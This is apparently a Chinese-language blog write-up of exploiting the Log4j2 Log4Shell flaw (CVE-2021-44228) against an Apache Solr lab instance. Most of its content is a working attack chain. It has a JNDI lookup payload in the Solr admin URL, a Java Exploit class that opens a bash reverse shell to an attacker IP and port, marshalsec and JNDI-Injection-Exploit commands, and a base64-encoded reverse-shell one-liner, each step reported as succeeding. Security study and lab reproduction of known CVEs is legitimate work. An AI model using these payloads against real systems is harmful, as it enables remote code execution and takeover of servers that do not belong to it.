log4j2漏洞整理

CVE-2021-44228

0x00 漏洞发现

image-20240214160156423

发现这个,然后尝试验证是否存在漏洞

image-20240214160344481

1
http://IP地址:端口/solr/admin/cores?action=${jndi:ldap://9xovk0.dnslog.cn}

指定ip 端口

image-20240214161647753

image-20240214161640213

发现已经被解析

尝试测试java 版本

image-20240214161857301

0x01

发现可以使用jndi 注入的方式进行利用

使用攻击机监听端口

image-20240214162324084

image-20240214162034629

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//javac Exploit.java
import java.lang.Runtime;
import java.lang.Process;

public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.79.138/19999 0>&1");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}

使用修改为自己的ip和端口

image-20240214162154247

编译对应的java 文件为class 文件,然后开启http服务

image-20240214162238290

然后开启ldap 服务

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://120.27.61.239:8000/#Exploit" 9999

image-20240214162440448

0x02

尝试让受害者访问并且加载

1
http://192.168.79.128:8983/solr/admin/cores?action=${jndi:ldap://192.168.79.1:9999/Exploit}

image-20240214163130015

反弹成功

0x03

尝试其他方法

也就是生成payload 的方式不一样,本质都是一样的

1
java -cp fastjson_tool.jar fastjson.HLDAPServer 192.168.79.1 9999  "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc5LjEzOC8xOTk5OSAwPiYx}|{base64,-d}|{bash,-i}"

image-20240214164156617

这个方式就是少了一个手动开启http的过程

注意这个是Object

1
http://192.168.79.128:8983/solr/admin/cores?action=${jndi:ldap://192.168.79.1:9999/Object}

image-20240214164233522

0x04

使用专门的工具进行利用,本质也是开启开启一个ldap服务而已

1
java -jar .\JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc5LjEzOC8xOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.79.1

image-20240214164642320

image-20240214170011595

也是成功的反弹


log4j2漏洞整理
https://tsy244.github.io/2024/02/14/整理/log4j2漏洞整理/
Author
August Rosenberg
Posted on
February 14, 2024
Licensed under